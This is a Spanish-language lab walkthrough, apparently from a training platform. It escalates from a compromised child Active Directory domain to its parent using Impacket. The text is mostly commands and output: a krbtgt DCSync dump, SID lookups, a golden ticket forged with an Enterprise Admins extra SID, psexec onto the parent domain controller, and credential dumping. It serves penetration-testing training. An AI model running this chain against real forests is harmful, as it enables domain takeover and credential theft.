Attacking Domain Trusts — Child → Parent (Linux)
Realizamos el ataque desde un host Linux, comprometiendo un dominio hijo y escalando hasta el dominio padre.
Usaremos únicamente herramientas Impacket: secretsdump.py, lookupsid.py, ticketer.py, psexec.py, raiseChild.py.
🧩 Información requerida para el ataque
| Elemento | Descripción |
|---|---|
| 🔑 Hash NTLM del KRBTGT del dominio hijo | Necesario para Golden Ticket |
| 🧬 SID del dominio hijo | Para construir el ticket |
| 👤 Usuario objetivo | Puede ser falso (ej: hacker) |
| 🌐 FQDN del dominio hijo | LOGISTICS.INLANEFREIGHT.LOCAL |
| 🏰 SID del grupo Enterprise Admins del dominio padre | Para acceso total |
🩸 1. Obtener Hash KRBTGT — DCSync desde Linux
secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt
Salida relevante:

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::
Este hash NTLM es el ingrediente principal del Golden Ticket.
🧬 2. Obtener SID del dominio hijo — lookupsid.py
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240
Salida:

[*] Domain SID is: S-1-5-21-2806153819-209893948-922872689
Para filtrar:
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID
🏰 3. Obtener SID Enterprise Admins del dominio padre
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"
Resultado:

S-1-5-21-3842939050-3880317879-2865463114-519
🎯 Datos finales reunidos
| Variable | Valor |
|---|---|
| KRBTGT NTLM | 9d765b482771505cbe97411065964d5f |
| SID dominio hijo | S-1-5-21-2806153819-209893948-922872689 |
| Usuario | hacker |
| FQDN | LOGISTICS.INLANEFREIGHT.LOCAL |
| SID Enterprise Admins padre | S-1-5-21-3842939050-3880317879-2865463114-519 |
🎟️ 4. Crear Golden Ticket — ticketer.py
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
Esto genera:

Saving ticket in hacker.ccache
El archivo hacker.ccache es tu credencial Kerberos falsificada.
🗂️ 5. Cargar el ticket Kerberos
export KRB5CCNAME=hacker.ccache
🧨 6. Acceder al Domain Controller del dominio padre (Psexec)
psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5
Salida:

😈 Acceso total al dominio padre — Enterprise Admin (EA).
Obtener hash de un usuario
secretsdump.py -k -no-pass LOGISTICS.INLANEFREIGHT.LOCAL/hacker@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL -just-dc-user bross

🤖 7. Automatizar el ataque — raiseChild.py
raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
El script:
-
Obtiene FQDN del bosque
-
Obtiene SID EA del dominio padre
-
Obtiene hash KRBTGT del hijo
-
Crea Golden Ticket
-
Lo usa para entrar al parent
-
Extrae credenciales
-
Ejecuta Psexec como EA

Estas herramientas “autopwn” pueden romper entornos productivos.
No usarlas ciegamente en clientes.
🧠 Flujo del ataque en Mermaid
flowchart TD
A[Control del dominio hijo] --> B[DCSync para obtener hash KRBTGT]
B --> C[Obtener SID dominio hijo]
C --> D[Obtener SID Enterprise Admins padre]
D --> E[Crear Golden Ticket en ticketer.py]
E --> F[Usar ccache para Kerberos]
F --> G[Psexec contra DC del dominio padre]
G --> H[Acceso Enterprise Admin]
📘 Nota sobre herramientas automáticas
Scripts como raiseChild.py o funciones “autopwn” de BloodHound:
-
Pueden fallar fácilmente
-
No indican claramente qué está mal
-
Pueden causar disrupciones en entornos reales
Siempre entender el proceso manual antes de automatizar.